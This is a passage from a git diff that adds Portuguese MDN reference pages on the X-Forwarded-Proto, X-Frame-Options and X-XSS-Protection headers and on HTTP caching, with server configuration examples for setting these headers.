id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Host")}}</li> + <li>{{HTTPHeader("Forwarded")}}</li> + <li>{{HTTPHeader("X-Forwarded-For")}}</li> + <li>{{HTTPHeader("X-Forwarded-Proto")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/x-forwarded-proto/index.html b/files/pt-br/web/http/headers/x-forwarded-proto/index.html new file mode 100644 index 0000000000..c4accb34a1 --- /dev/null +++ b/files/pt-br/web/http/headers/x-forwarded-proto/index.html @@ -0,0 +1,74 @@ +--- +title: X-Forwarded-Proto +slug: Web/HTTP/Headers/X-Forwarded-Proto +tags: + - Cabeçalho HTTP + - Cabeçalho de requisição + - HTTP + - Não padronizado + - Referencia + - cabeçalho +translation_of: Web/HTTP/Headers/X-Forwarded-Proto +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho <strong><code>X-Forwarded-Proto</code></strong> (XFP) é um cabeçalho padrão de fato para identificar o protocolo (HTTP ou HTTPS) que o cliente usava para conectar ao seu proxy ou balanceador de carga. Seus <em>logs </em>de acesso do servidor contém o protocolo usado entre o servidor e o balanceador de carga, não o protocolo usado entre o cliente e o balanceador de carga. Para determinar o protocolo utilizado entre o cliente e o balanceador de carga, o cabeçalho de requisição <code>X-Forwarded-Proto</code> pode ser utilizado.</p> + +<p>Uma versão padronizada deste cabeçalho é o cabeçalho HTTP {{HTTPHeader("Forwarded")}}.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">X-Forwarded-Proto: <protocol> +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><protocol></dt> + <dd>O protocolo encaminhado (http ou https).</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre class="notranslate">X-Forwarded-Proto: https</pre> + +<p>Outras formas não padronizadas:</p> + +<pre class="notranslate"># Microsoft +Front-End-Https: on + +X-Forwarded-Protocol: https +X-Forwarded-Ssl: on +X-Url-Scheme: https +</pre> + +<h2 id="Especificações">Especificações</h2> + +<p>Não pertence a nenhuma especificação atualmente. A versão padronizada do cabeçalho é {{HTTPHeader("Forwarded")}}.</p> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + + + +<p>{{Compat("http.headers.X-Forwarded-Proto")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Forwarded")}}</li> + <li>{{HTTPHeader("X-Forwarded-For")}}</li> + <li>{{HTTPHeader("X-Forwarded-Host")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/x-frame-options/index.html b/files/pt-br/web/http/headers/x-frame-options/index.html new file mode 100644 index 0000000000..f72d09ae2c --- /dev/null +++ b/files/pt-br/web/http/headers/x-frame-options/index.html @@ -0,0 +1,160 @@ +--- +title: X-Frame-Options +slug: Web/HTTP/Headers/X-Frame-Options +tags: + - Cabeçalho de Resposta + - Express + - Gecko + - HAProxy + - HTTP + - IIS + - Segurança + - nginx +translation_of: Web/HTTP/Headers/X-Frame-Options +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de resposta <a href="/en-US/docs/Web/HTTP">HTTP</a> <strong><code>X-Frame-Options</code></strong> pode ser usado para indicar se o navegador deve ou não renderizar a página em um {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("embed")}} ou {{HTMLElement("object")}}. Sites podem usar isso para evitar ataques <em><a href="/en-US/docs/Web/Security/Types_of_attacks#Click-jacking">click-jacking</a></em>, assegurando que seus conteúdos não sejam embebedados em outros sites.</p> + +<p>A segurança adicionada é provida somente se o usuário acessando o documento está usando o navegador que suporte <code>X-Frame-Options</code>.</p> + +<div class="note"> +<p><strong>Nota:</strong> O cabeçalho HTTP {{HTTPHeader("Content-Security-Policy")}}possui uma diretiva <code><a href="/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors">frame-ancestors</a></code> que torna este cabeçalho obsoleto para navegadores que o suportam.</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<p>Existem duas diretivas possíveis para <code>X-Frame-Options</code>:</p> + +<pre class="syntaxbox notranslate">X-Frame-Options: DENY +X-Frame-Options: SAMEORIGIN +</pre> + +<h3 id="Diretivas">Diretivas</h3> + +<p>Se você especifica <code>DENY</code>, não somente tentativas em carregar a página em um enquadramento irão falhar quando carregadas de outros sites, mas irão falhar também se forem carregadas do mesmo site. Por outro lado, se você especifica <code>SAMEORIGIN</code>, você ainda pode usar a página em um enquadramento enquanto o site que o está incluindo no enquadramento seja o mesmo servindo a página.</p> + +<dl> + <dt><code>DENY</code></dt> + <dd>A página não pode ser mostrada em um enquadramento, independente do site que esteja tentando fazer isso.</dd> + <dt><code>SAMEORIGIN</code></dt> + <dd>A página só pode ser exibida em um enquadramento se for da mesma origem da página em si. A especificação deixa a cargo do navegador para decidir se esta opção se aplica ao nível mais alto, ao parente, ou à cadeia inteira, entretanto é discutido se a opção não é muito útil a não ser que todos os ancestrias estejam na mesma origem (veja {{bug(725490)}}). Veja também {{anch("Browser compatibility")}} para mais detalhes de suporte.</dd> + <dt><code>ALLOW-FROM <em>uri</em></code><em> </em>{{obsolete_inline()}}</dt> + <dd>Esta é uma diretiva obsoleta que não funciona mais em navegadores modernos. Não a utilize. Em navegadores legado que a suportam, a página pode ser mostrada em um enquadramento somente na URI de origem especificada. Note que implementação legada do Firefox isso ainda sofria do mesmo problema que a <code>SAMEORIGIN</code> sofreu — ela não checa se os enquadramentos ancestrais para ver se eles são da mesma origem. O cabeçalho HTTP {{HTTPHeader("Content-Security-Policy")}} tem a diretiva <code>frame-ancestors</code> que você pode usar ao invés disso.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<div class="note"> +<p><strong>Nota:</strong> Colocar X-Frame-Options dentro de um elemento {{HTMLElement("meta")}} é inútil! Por enquanto, <code><meta http-equiv="X-Frame-Options" content="deny"></code> não tem nenhum efeito. Não o utilize! <code>X-Frame-Options</code> funciona somenete colocando a configuração através do cabeçalho HTTP, como nos exemplos abaixo.</p> +</div> + +<h3 id="Configurando_o_Apache">Configurando o Apache</h3> + +<p>Para configurar o Apache para que ele envie o cabeçalho <code>X-Frame-Options</code> para todas as páginas, adicione isto nas configurações do seu site:</p> + +<pre class="notranslate">Header always set X-Frame-Options "SAMEORIGIN" +</pre> + +<p>Para configurar o Apache para colocar o <code>X-Frame-Options</code> como DENY, adicione isto nas configurações do seu site:</p> + +<pre class="notranslate">Header set X-Frame-Options "DENY" +</pre> + +<h3 id="Configurando_o_nginx">Configurando o nginx</h3> + +<p>Para configurar o nginx para enviar o cabeçalho <code>X-Frame-Options</code>, adicione isto na configuração do seu http, servidor ou localização:</p> + +<pre class="notranslate">add_header X-Frame-Options SAMEORIGIN always; +</pre> + +<h3 id="Configurando_o_IIS">Configurando o IIS</h3> + +<p>Para configurar o IIS para enviar o cabeçalho <code>X-Frame-Options</code>, adicione isto no arquivo <code>Web.config</code> do seu site:</p> + +<pre class="brush: xml notranslate"><system.webServer> + ... + + <httpProtocol> + <customHeaders> + <add name="X-Frame-Options" value="SAMEORIGIN" /> + </customHeaders> + </httpProtocol> + + ... +</system.webServer> +</pre> + +<p>Ou veja este <a href="https://support.office.com/en-us/article/Mitigating-framesniffing-with-the-X-Frame-Options-header-1911411b-b51e-49fd-9441-e8301dcdcd79">artigo de suporte de configuração da Microsoft utilizando a interface de usuário IIS Manager</a>.</p> + +<h3 id="Configurando_o_HAProxy">Configurando o HAProxy</h3> + +<p>Para configurar o HAProxy para enviar o cabeçalho <code>X-Frame-Options</code>, adicione isto na sua configuração do seu <em>front-end</em>, <em>listen</em>, ou <em>backend</em>:</p> + +<pre class="notranslate">rspadd X-Frame-Options:\ SAMEORIGIN +</pre> + +<p>Alternativamente, em versões mais novas:</p> + +<pre class="notranslate">http-response set-header X-Frame-Options SAMEORIGIN +</pre> + +<h3 id="Configurando_o_Express">Configurando o Express</h3> + +<p>Para configurar o Express para enviar o cabeçalho <code>X-Frame-Options</code>, você pode usar o <a href="https://helmetjs.github.io/">helmet</a> que utiliza o <a href="https://helmetjs.github.io/docs/frameguard/">frameguard</a> para colocar o cabeçalho. Adicione isto na configuração do seu servidor:</p> + +<pre class="brush: js notranslate">const helmet = require('helmet'); +const app = express(); +app.use(helmet.frameguard({ action: 'SAMEORIGIN' })); +</pre> + +<p>Alternativamente, você pode usar o <em>frameguard</em> diretamente:</p> + +<pre class="brush: js notranslate">const frameguard = require('frameguard') +app.use(frameguard({ action: 'SAMEORIGIN' })) +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7034")}}</td> + <td>HTTP Header Field X-Frame-Options</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + + + +<p>{{Compat("http.headers.X-Frame-Options")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors"><code>frame-ancestors</code> (CSP)</a></li> + <li><a href="https://tools.ietf.org/html/rfc7034">Cabeçalho HTTP X-Frame-Options (HTTP Header Field X-Frame-Options) - RFC 7034</a></li> + <li><a class="external" href="https://blogs.msdn.com/b/ie/archive/2009/01/27/ie8-security-part-vii-clickjacking-defenses.aspx">Defesas contra ClickJacking (ClickJacking Defenses) - IEBlog</a></li> + <li><a href="https://blogs.msdn.com/b/ieinternals/archive/2010/03/30/combating-clickjacking-with-x-frame-options.aspx">Combatendo ClickJacking com X-Frame-Options (Combating ClickJacking with X-Frame-Options) - IEInternals</a></li> +</ul> diff --git a/files/pt-br/web/http/headers/x-xss-protection/index.html b/files/pt-br/web/http/headers/x-xss-protection/index.html new file mode 100644 index 0000000000..0cf075c016 --- /dev/null +++ b/files/pt-br/web/http/headers/x-xss-protection/index.html @@ -0,0 +1,97 @@ +--- +title: X-XSS-Protection +slug: Web/HTTP/Headers/X-XSS-Protection +tags: + - HTTP + - Referencia + - Segurança + - XSS + - cabeçalho +translation_of: Web/HTTP/Headers/X-XSS-Protection +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de resposta HTTP <strong><code>X-XSS-Protection</code></strong> é uma funcionalidade do Internet Explorer, Chrome e Safari que impede páginas de carregarem quando eles detectam ataques de scripting entre sites ({{Glossary("XSS")}}) refletidos. Apesar destas proteções serem majoritariamente desnecessárias em navegadores modernos em sites utilizando uma forte {{HTTPHeader("Content-Security-Policy")}} que desabilita o uso de JavaScript <em>inline</em> (<code>'unsafe-inline'</code>), eles ainda podem oferecer proteções para usuários de navegadores mais antigos que ainda não suportam {{Glossary("CSP")}}.</p> + +<div class="note"> +<ul> + <li>Chrome <a href="https://www.chromestatus.com/feature/5021976655560704">removeu o XSS Auditor deles</a></li> + <li>Firefox não tem, e <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=528661">não irá implementar <code>X-XSS-Protection</code></a></li> + <li>Edge <a href="https://blogs.windows.com/windowsexperience/2018/07/25/announcing-windows-10-insider-preview-build-17723-and-build-18204/">aposentou o filtro XSS deles</a></li> +</ul> + +<p>Isso significa que se você não precisa dar suporte para navegadores legado, é recomendado que você use <code><a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy">Content-Security-Policy</a></code> sem permitir scripts <code>unsafe-inline</code> ao invés disso.</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">X-XSS-Protection: 0 +X-XSS-Protection: 1 +X-XSS-Protection: 1; mode=block +X-XSS-Protection: 1; report=<reporting-uri> +</pre> + +<dl> + <dt>0</dt> + <dd>Desabilita filtragem XSS.</dd> + <dt>1</dt> + <dd>Habilita filtragem XSS (geralmente padrão em navegadores). Se um ataque de scripting entre sites é detectado, o navegador irá higienizar a página (remover as partes inseguras).</dd> + <dt>1; mode=block</dt> + <dd>Habilita filtragem XSS. Ao invés de higienizar a página, o navegador irá impedir a renderização da página em que o ataque foi detectado.</dd> + <dt>1; report=<reporting-URI> (Chromium somente)</dt> + <dd>Habilita filtragem XSS. Se o ataque de scripting entre sites é detectado, o navegador irá higienizar a página e reportar a violação. Isso utiliza a funcionalidade da diretiva CSP {{CSP("report-uri")}} para enviar o relatório.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<p>Bloqueia páginas de carregarem quando elas detectam ataques XSS refletidos:</p> + +<pre class="brush: bash notranslate">X-XSS-Protection: 1; mode=block</pre> + +<p>PHP</p> + +<pre class="brush: php notranslate">header("X-XSS-Protection: 1; mode=block");</pre> + +<p>Apache (.htaccess)</p> + +<pre class="brush: bash notranslate"><IfModule mod_headers.c> + Header set X-XSS-Protection "1; mode=block" +</IfModule></pre> + +<p>Nginx</p> + +<pre class="brush: bash notranslate">add_header "X-XSS-Protection" "1; mode=block";</pre> + +<h2 id="Especificações">Especificações</h2> + +<p>Não faz parte de nenhuma especificação ou rascunho.</p> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + + + +<p>{{Compat("http.headers.X-XSS-Protection")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li><a href="https://blogs.msdn.microsoft.com/ieinternals/2011/01/31/controlling-the-xss-filter/">Controlando o XSS Filter (Controlling the XSS Filter) – Microsoft</a></li> + <li><a href="https://www.virtuesecurity.com/blog/understanding-xss-auditor/">Entendendo o XSS Auditor (Understanding XSS Auditor) – Virtue Security</a></li> + <li> + <p><a href="https://blog.innerht.ml/the-misunderstood-x-xss-protection/">O mal-entendido X-XSS-Protection (The misunderstood X-XSS-Protection) – blog.innerht.ml</a></p> + </li> +</ul> diff --git a/files/pt-br/web/http/http/index.html b/files/pt-br/web/http/http/index.html new file mode 100644 index 0000000000..9cfd4d4a0d --- /dev/null +++ b/files/pt-br/web/http/http/index.html @@ -0,0 +1,157 @@ +--- +title: Cacheamento HTTP +slug: Web/HTTP/HTTP +tags: + - Cache + - Cacheamento + - Guía + - HTTP + - Internet + - Rede + - Web +translation_of: Web/HTTP/Caching +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary">A performance de websites e aplicações podem ser melhoradas significativamente ao reusar recursos previamente buscados. Caches em web reduzem latência e o tráfego de rede e assim diminuir o tempo necesário para exibir uma representação do recurso. Ao usar <em>caching </em>em HTTP, websites se tornam mais responsivos.</p> + +<h2 id="Diferentes_tipos_de_caches">Diferentes tipos de <em>caches</em></h2> + +<p><em>Caching</em> é uma técnica que guarda uma cópia de dado recurso e mostra de volta quando requisitado. Quando um web cache tem um recurso requerido em seu armazenamento, ele intercepta a solicitação e retorna sua cópia ao invés de fazer o download novamente do servidor original. Isto alcança vários objetivos: facilita o balanceamento do servidor que não precisa servir todos os <em>clients</em> sozinho, e melhora a performance por estar próximo do <em>client</em>, por exemplo, ele leva menos tempo para transmitir o recurso de volta. Para um website, é um componente principal para alcançar alta performance. De outro lado, ele deve ser configurado devidamente pois não são todos os recursos que ficam idênticos para sempre: é importante colocar um recurso em cache somente até que ele mude, não mais que isso. </p> + +<p>Há muitos tipos de caches: estes podem ser agrupados em duas categorias principais, caches privados ou compartilhados. Um <em>cache compartilhado</em> é um cache que armazena respostas para serem reusadas por mais de um usuário. Um <em>cache privado</em> é dedicado a um único usuário. Esta página irá falar principalmente sobre caches em navegadores e em <em>proxy</em>, mas há também caches de <em>gateway</em>, CDN, cache de proxy reverso e balanceadores de carga (<em>load balancers)</em> que são implantados em servers da web para melhor confiabilidade, desempenho e dimensionamento de sites e aplicativos da web.</p> + +<p><img alt="What a cache provide, advantages/disadvantages of shared/private caches." src="https://mdn.mozillademos.org/files/13777/HTTPCachtType.png" style="height: 573px; width: 910px;"></p> + +<h3 id="Caches_privados_de_browser">Caches privados de browser</h3> + +<p>Um cache privado é dedicado para um único usuário. Você já pode ter visto <em>"caching"</em> nas configurações de seu navegador. Um cache de browser guarda todos os documentos que foram baixados via <a href="/pt-BR/docs/Web/HTTP" title="en/HTTP">HTTP</a> pelo usuário. Este cache é usado para tornar disponíveis documentos visitados para navegação "para frente e para trás" (ou <em>back/forward</em>, em Inglês<em>)</em>, salvar, ver como fonte, etc. sem exigir uma viagem para o servidor. Também melhora a navegação offline de conteúdo em cache.</p> + +<h3 id="Caches_de_proxy_compartilhada">Caches de proxy compartilhada</h3> + +<p>Uma cache compartilhada é uma cache que armazena respostas para serem reusadas por mais de um usuário. Por exemplo, um fornecedor de acesso à internet ou sua empresa pode ter definido uma web proxy como parte de sua infraestrutura de rede local para servir muitos usuários para que recursos populares sejam reusados numerosas vezes, reduzindo o tráfego de rede e latência.</p> + +<h2 id="Alvos_de_operações_de_cache">Alvos de operações de cache</h2> + +<p>Fazer cache de HTTP é opcional, mas reusar um recurso em cache é usualmente desejável. No entanto, caches HTTP comuns são tipicamente limitados a respostas em cache para {{HTTPMethod("GET")}} e podem declinar outros métodos. As chaves primárias de cache consistem de um método de requisição e um alvo URI (como requisições são alvos de cache, muitas vezes somente o URI é usado). Formas comuns de entrada de cache são:</p> + +<ul> + <li>Resultados bem sucedidos de uma requisição: uma resposta {{HTTPStatus(200)}} (OK) para uma requisição {{HTTPMethod("GET")}} contendo recursos como documentos HTML, imagens ou arquivos.</li> + <li>Redirecionamentos permanentes: uma resposta {{HTTPStatus(301)}} (Moved Permanently).</li> + <li>Respostas de erro: um resultado {{HTTPStatus(404)}} (Not Found).</li> + <li>Resultados incompletos: uma resposta {{HTTPStatus(206)}} (Partial Content).</li> + <li>Outras respostas que não sejam {{HTTPMethod("GET")}} se algo mais adequado para uso como chave de cache é definido.</li> +</ul> + +<p>Uma entrada de cache pode também consistir de múltiplas respostas armazenadas diferenciadas por uma chave secundária, se a requisição é alvo de negociação de conteúdo. Para mais detalhes veja a informação sobre o cabeçalho {{HTTPHeader("Vary")}} abaixo.</p> + +<h2 id="Controlando_cache">Controlando cache</h2> + +<h3 id="O_cabeçalho_Cache-control">O cabeçalho <code>Cache-control</code></h3> + +<p>O cabeçalho-geral {{HTTPHeader("Cache-Control")}} HTTP/1.1 é usado para especificar diretivas para mecanismos de cache em ambas requisições e respostas. Use este cabeçalho para definir suas políticas de cache com a variedade de diretivas que fornece.</p> + +<h4 id="Não_usar_armazenamento_de_cache">Não usar armazenamento de cache</h4> + +<p>O cache não deve armazenar nada sobre a requisição do cliente ou a resposta do servidor. Uma requisição é enviada ao servidor e uma resposta completa é baixada por cada e toda vez.</p> + +<pre>Cache-Control: no-store +Cache-Control: no-cache, no-store, must-revalidate +</pre> + +<h4 id="Sem_fazer_cache">Sem fazer cache</h4> + +<p>Um cache irá enviar a requisição ao servidor de origem para validação antes de liberar uma cópia em cache. </p> + +<pre>Cache-Control: no-cache</pre> + +<h4 id="Caches_privados_e_públicos">Caches privados e públicos</h4> + +<p>A diretiva "public" indica que a resposta pode ser colocada em cache por qualquer cache. Isto pode ser útil, se páginas com autenticação HTTP ou códigos de status de resposta que não são normalmente colocadas em cache, devem agora ser colocadas. Por outro lado, "private" indica que a resposta é para um único usuário somente e não deve ser armazenada por um cache compartilhado. Um cache privado de navegador pode armazenar a resposta neste caso.</p> + +<pre>Cache-Control: private +Cache-Control: public +</pre> + +<h4 id="Data_de_validade">Data de validade</h4> + +<p>A diretiva mais importante aqui é "<code>max-age=<seconds></code>" que é a quantidade máxima de tempo que um recurso será considerado "fresco". Contrário ao {{HTTPHeader("Expires")}}, esta diretiva é relativa ao tempo da requisição. Para os arquivos na aplicação que não irão mudar, você pode normalmente adicionar cache agressivamente. Isto inclui arquivos estáticos como imagens, arquivos CSS e Javascript, por exemplo.</p> + +<p>Para mais detalhes, veja também a seção <a href="#">Tempo de Vida </a>abaixo.</p> + +<pre>Cache-Control: max-age=31536000</pre> + +<h4 id="Validação">Validação</h4> + +<p>Quando usamos a diretiva "<code>must-revalidate</code>", o cache deve verificar o status dos recursos obsoletos antes de os usar e os expirados não deverão ser usados. Para mais detalhes, veja a seção <a href="#Cache_validation">Validation</a> abaixo.</p> + +<pre>Cache-Control: must-revalidate</pre> + +<h3 id="O_header_Pragma">O header <code>Pragma</code></h3> + +<p>{{HTTPHeader("Pragma")}} é um header HTTP/1.0, não é especificado para respostas HTTP e não é, assim, uma reposição confiável para o cabeçalho geral HTTP/1.1 <code>Cache-Control</code>, apesar de se comportar da mesma forma que <code>Cache-Control: no-cache</code>, se o campo do cabeçalho <code>Cache-Control</code> é omitido em uma requisição.Use <code>Pragma</code> somente para compatibilidade com clients HTTP/1.0 mais antigos</p> + +<h2 id="Tempo_de_Vida">Tempo de Vida</h2> + +<p>Quando um recurso é armazenado em um cache, ele poderia teoricamente ser servido para sempre. Caches possuem armazenamento finito então itens são periodicamente removidos do armazenamento. <span id="result_box" lang="pt"><span>Esse processo é chamado de <em>despejo de cache</em>.</span> <span>Por outro lado, alguns recursos podem mudar no servidor fazendo com que o cache fique desatualizado.</span> <span>Como o HTTP é um protocolo cliente-servidor, os servidores não podem contatar caches e clientes quando um recurso é alterado;</span> <span>eles precisam comunicar um tempo de expiração para o recurso.</span> <span>Antes deste período de expiração, o recurso é novo;</span> <span>após o tempo de expiração, o recurso é obsoleto.</span> <span>Os algoritmos de despejo geralmente privilegiam recursos novos em vez de recursos obsoletos.</span> <span>Observe que um recurso obsoleto não é despejado ou ignorado;</span> <span>quando o cache recebe uma solicitação para um recurso obsoleto, ele encaminha essa solicitação com um {{HTTPHeader ("If-None-Match")}} para verificar se, de fato, ainda está <em>fresco</em>.</span> <span>Em caso afirmativo, o servidor retorna um cabeçalho {{HTTPStatus ("304")}} (Não modificado) sem enviar o corpo do recurso solicitado, economizando alguma largura de banda.</span></span></p> + +<p>Here is an example of this process with a shared cache proxy:</p> + +<p><img alt="Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale." src="https://mdn.mozillademos.org/files/13771/HTTPStaleness.png" style="height: 910px; width: 822px;"></p> + +<p>O tempo de Vida é calculado beaseado em vários headers. Se o "<code>Cache-control: max-age=N</code>" header é especificado, então o tempo de vida é igual a N. Se este header não está presente, o que ocorre com frequência, ele checa se um {{HTTPHeader("Expires")}} heade está presente. Se um <code>Expires</code> header existe, então é o valor menos o valor do {{HTTPHeader("Date")}} header determina o tempo de vida. Finalmente, se nenhum header está presente, procure pelo {{HTTPHeader("Last-Modified")}} header. Se este header está presente, então o tempo de vidaé igual ao valor do <code>Date</code> header menos o valor do <code>Last-modified</code> header dividido por 10.<br> + O valor de expiração é computado por:</p> + +<pre>expirationTime = responseTime + freshnessLifetime - currentAge +</pre> + +<p>No qual <code>responseTime</code>é o tempo em que a resposta é recebida de acordo com o navegador.</p> + +<h3 id="Revved_resources">Revved resources</h3> + +<p>The more we use cached resources, the better the responsiveness and the performance of a Web site will be. To optimize this, good practices recommend to set expiration times as far in the future as possible. This is possible on resources that are regularly updated, or often, but is problematic for resources that are rarely and infrequently updated. They are the resources that would benefit the most from caching resources, yet this makes them very difficult to update. This is typical of the technical resources included and linked from each Web pages: JavaScript and CSS files change infrequently, but when they change you want them to be updated quickly.</p> + +<p>Web developers invented a technique that Steve Souders called <em>revving</em><sup><a href="https://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/">[1]</a></sup>. Infrequently updated files are named in specific way: in their URL, usually in the filename, a revision (or version) number is added. That way each new revision of this resource is considered as a resource on its own that <em>never</em> changes and that can have an expiration time very far in the future, usually one year or even more. In order to have the new versions, all the links to them must be changed, that is the drawback of this method: additional complexity that is usually taken care of by the tool chain used by Web developers. When the infrequently variable resources change they induce an additional change to often variable resources. When these are read, the new versions of the others are also read.</p> + +<p>This technique has an additional benefit: updating two cached resources at the same time will not lead to the situation where the out-dated version of one resource is used in combination with the new version of the other one. This is very important when web sites have CSS stylesheets or JS scripts that have mutual dependencies, i.e., they depend on each other because they refer to the same HTML elements.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13779/HTTPRevved.png"></p> + +<p>The revision version added to revved resources doesn't need to be a classical revision string like 1.1.3, or even a monotonously growing suite of number. It can be anything that prevent collisions, like a hash or a date.</p> + +<h2 id="Cache_validation">Cache validation</h2> + +<p>Revalidation is triggered when the user presses the reload button. It is also triggered under normal browsing if the cached response includes the "<code>Cache-control: must-revalidate</code>" header. Another factor is the cache validation preferences in the <code>Advanced->Cache</code> preferences panel. There is an option to force a validation each time a document is loaded.</p> + +<p>When a cached document's expiration time has been reached, it is either validated or fetched again. Validation can only occur if the server provided either a <em>strong validator</em> or a <em>weak validator</em>.</p> + +<h3 id="ETags">ETags</h3> + +<p>The {{HTTPHeader("ETag")}} response header is an <em>opaque-to-the-useragent</em> value that can be used as a strong validator. That means that a HTTP user-agent, such as the browser, does not know what this string represents and can't predict what its value would be. If the <code>ETag</code> header was part of the response for a resource, the client can issue an {{HTTPHeader("If-None-Match")}} in the header of future requests – in order to validate the cached resource.</p> + +<p>The {{HTTPHeader("Last-Modified")}} response header can be used as a weak validator. It is considered weak because it only has 1-second resolution. If the <code>Last-Modified</code> header is present in a response, then the client can issue an {{HTTPHeader("If-Modified-Since")}} request header to validate the cached document.</p> + +<p>When a validation request is made, the server can either ignore the validation request and response with a normal {{HTTPStatus(200)}} <code>OK</code>, or it can return {{HTTPStatus(304)}} <code>Not Modified</code> (with an empty body) to instruct the browser to use its cached copy. The latter response can also include headers that update the expiration time of the cached document.</p> + +<h2 id="Varying_responses">Varying responses</h2> + +<p>The {{HTTPHeader("Vary")}} HTTP response header determines how to match future request headers to decide whether a cached response can be used rather than requesting a fresh one from the origin server.</p> + +<p>When a cache receives a request that can be satisfied by a cached response that has a <code>Vary</code> header field, it must not use that cached response unless all header fields as nominated by the <code>Vary</code> header match in both the original (cached) request and the new request.</p> + +<p><img alt="The Vary header leads cache to use more HTTP headers as key for the cache." src="https://mdn.mozillademos.org/files/13769/HTTPVary.png" style="height: 817px; width: 752px;"></p> + +<p>This can be useful for serving content dynamically, for example. When using the <code>Vary: User-Agent</code> header, caching servers should consider the user agent when deciding whether to serve the page from cache. If you are serving different content to mobile users, it can help you to avoid that a cache may mistakenly serve a desktop version of your site to your mobile users. In addition, it can help Google and other search engines to discover the mobile version of a page, and might also tell them that no <a href="https://en.wikipedia.org/wiki/Cloaking">Cloaking</a> is intended.</p> + +<pre>Vary: User-Agent</pre> + +<p>Because the {{HTTPHeader("User-Agent")}} header value is different ("varies") for mobile and desktop clients, caches will not be used to serve mobile content mistakenly to desktop users or vice versa.</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="https://tools.ietf.org/html/rfc7234">RFC 7234: Hypertext Transfer Protocol (HTTP/1.1): Caching</a></li> + <li><a href="https://www.mnot.net/cache_docs">Caching Tutorial – Mark Nottingham</a></li> + <li><a href="https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching">HTTP caching – Ilya Grigorik</a></li> + <li><a href="https://redbot.org/">RedBot</a>, a tool to check your cache-related HTTP headers.</li> +</ul> diff --git a/files/pt-br/web/http/index.html b/files/pt-br/web/http/index.html new file mode 100644 index 0000000000..cec6adca21 --- /dev/null +++ b/files/pt-br/web/http/index.html @@ -0,0 +1,73 @@ +--- +title: HTTP +slug: Web/HTTP +tags: + - Aula de HTTP + - HTTP + - Tutorial de HTTP + - Web +translation_of: Web/HTTP +--- +<div>{{ HTTPSidebar }}</div> + +<p class="summary"><strong><dfn>Hypertext Transfer Protocol (HTTP)</dfn></strong> é um protocolo de <a href="https://pt.wikipedia.org/wiki/Camada_de_aplica%C3%A7%C3%A3o">camada de aplicação</a> para transmissão de documentos hipermídia, como o HTML. Foi desenvolvido para comunicação entre navegadores web e servidores web, porém pode ser utilizado para outros propósitos também. Segue um <a class="external" href="https://en.wikipedia.org/wiki/Client%E2%80%93server_model">modelo cliente-servidor</a> clássico, onde um cliente abre uma conexão, executa uma requisição e espera até receber uma resposta. É também um protocolo <a href="https://pt.wikipedia.org/wiki/Protocolo_sem_estado">sem estado</a> ou <a class="external" href="http://en.wikipedia.org/wiki/Stateless_protocol">stateless protocol</a>, que significa que o servidor não mantem nenhum dado entre duas requisições (<em>state</em>). Apesar de ser frequentemente baseado em uma camada TCP/IP, pode ser utilizado em qualquer <a href="https://pt.wikipedia.org/wiki/Camada_de_transporte">camada de transporte</a> confiável, ou seja, um protocolo que não perde mensagens silenciosamente como o UDP.</p> + +<div class="column-container"> +<div class="column-half"> +<h2 id="Tutoriais"><strong>Tutoriais</strong></h2> + +<p>Aprenda como usar HTTP com guias e tutoriais.</p> + +<dl> + <dt><a href="/pt-BR/docs/Web/HTTP/Overview">Visão geral do HTTP</a></dt> + <dd>Apresenta os recursos básicos do protocolo cliente-servidor: o que pode fazer e quais seus usos.</dd> + <dt><a href="/pt-BR/docs/Mozilla/HTTP_cache">Cache HTTP</a></dt> + <dd>O Cache é muito importante para websites rápidos. Este artigo descreve diferentes métodos de cache e como utilizar os cabeçalhos HTTP para 